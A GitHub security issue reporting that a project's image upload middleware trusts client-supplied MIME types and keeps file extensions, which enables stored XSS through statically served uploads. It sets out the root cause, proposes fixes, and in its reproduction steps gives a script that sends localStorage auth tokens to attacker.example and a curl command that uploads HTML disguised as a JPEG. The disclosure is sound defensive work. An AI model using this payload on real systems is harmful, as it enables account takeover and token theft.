Skip to content

[Bug]: [Security] Confirmed: image upload filter trusts client-supplied MIME type, extension preserved — enables stored XSS via /uploads static serving #385

Description

@AadityaUniyal

Bug Description

Confirming and expanding on this issue with a full root-cause trace through
the codebase.

backend/middlewares/uploadMiddleware.js validates uploaded images using
only file.mimetype:

const imageFileFilter = (req, file, cb) => {
  const allowedTypes = ["image/jpeg", "image/png", "image/jpg", "image/webp"];
  if (allowedTypes.includes(file.mimetype)) {
    cb(null, true);
  } else {
    cb(new Error(`Unsupported type: ${file.mimetype}`), false);
  }
};

file.mimetype is populated by multer directly from the Content-Type
header the client sets on that multipart form part — it is not derived
from the file's actual contents. An attacker can therefore set
Content-Type: image/jpeg on any file, regardless of its real content.

The filename sanitizer only cleans the basename and lowercases the
extension — it never validates or replaces the extension itself:

const sanitizeFilename = (filename) => {
  const ext = path.extname(filename);
  const basename = path.basename(filename, ext);
  const sanitizedBase = basename.replace(/[^a-zA-Z0-9_-]/g, "_")...
  return `${sanitizedBase || "file"}${ext.toLowerCase()}`;
};

The uploads directory is then served as static content with no
content-type override or Content-Disposition header:

app.use("/uploads", express.static(path.join(__dirname, "uploads"), {}));

Combined, this means a file named e.g. "payload.html" containing a

<script> tag, uploaded with a spoofed image/jpeg Content-Type, is accepted, stored with its .html extension intact, and served back verbatim from the app's own origin. This becomes a stored XSS delivery vector. It also directly compounds issue #312 (JWT access/refresh tokens stored in localStorage/ sessionStorage instead of httpOnly cookies): script execution from this uploaded file can read localStorage on the same origin and exfiltrate live auth tokens, giving an attacker a full account-takeover path without needing any XSS bug elsewhere in the React app. ### Steps to Reproduce 1. Authenticate normally and locate any endpoint using the `upload` middleware (image upload, e.g. profile picture). 2. Craft a multipart/form-data request where the file field contains HTML content, e.g.: <script>fetch('https://attacker.example/steal?t='+localStorage.getItem('token'))</script>

Save this as payload.html.
3. Send the upload request manually (e.g. via curl or Postman) with the
file's Content-Type explicitly set to "image/jpeg" instead of letting
the client infer it:

curl -i -X POST http://localhost:/api/
-H "Authorization: Bearer "
-F "image=@payload.html;type=image/jpeg"

  1. Note the 200/201 success response and the stored filename returned
    (e.g. "1718999999999-payload.html").
  2. Navigate a browser directly to:
    http://localhost:/uploads/1718999999999-payload.html
  3. Observe the script executes in the site's origin context.

Expected Behavior

The server should verify the actual file content (e.g. via magic-byte /
file-signature inspection, such as the file-type npm package) rather
than trusting the client-supplied Content-Type header. The stored file's
extension should be derived from the verified real type, not from
user-controlled input. Non-image files (including disguised HTML/SVG/JS)
should be rejected outright, and served uploads should include headers
that prevent script execution (e.g. Content-Disposition: attachment,
or serving from a script-inert subdomain/bucket) as defense in depth.

Actual Behavior

Any file is accepted as long as the client claims an allowed MIME type
in the Content-Type header, regardless of actual file content. The
original file extension is preserved in storage. The file is then
served back exactly as uploaded, with no execution-prevention headers,
from the application's own origin.

Severity

Critical

Screenshots / Screen Recording

No response

Browser

Chrome

Operating System

Windows 11

Additional Context

Relevant files:

  • backend/middlewares/uploadMiddleware.js (imageFileFilter, sanitizeFilename)
  • backend/server.js, line ~143 (static serving of /uploads with no options)

Related issue: #312 (JWTs in localStorage/sessionStorage) — recommend
these two be considered together when prioritizing, since #313 turns
#312 from "requires finding an XSS bug" into "trivially exploitable via
file upload."

Suggested minimal fix: integrate a magic-byte detection library (e.g.
file-type) in imageFileFilter, and always generate the stored file
extension from the detected type rather than from user input.

Metadata

Metadata

Assignees

Labels

Type

No type

Fields

No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions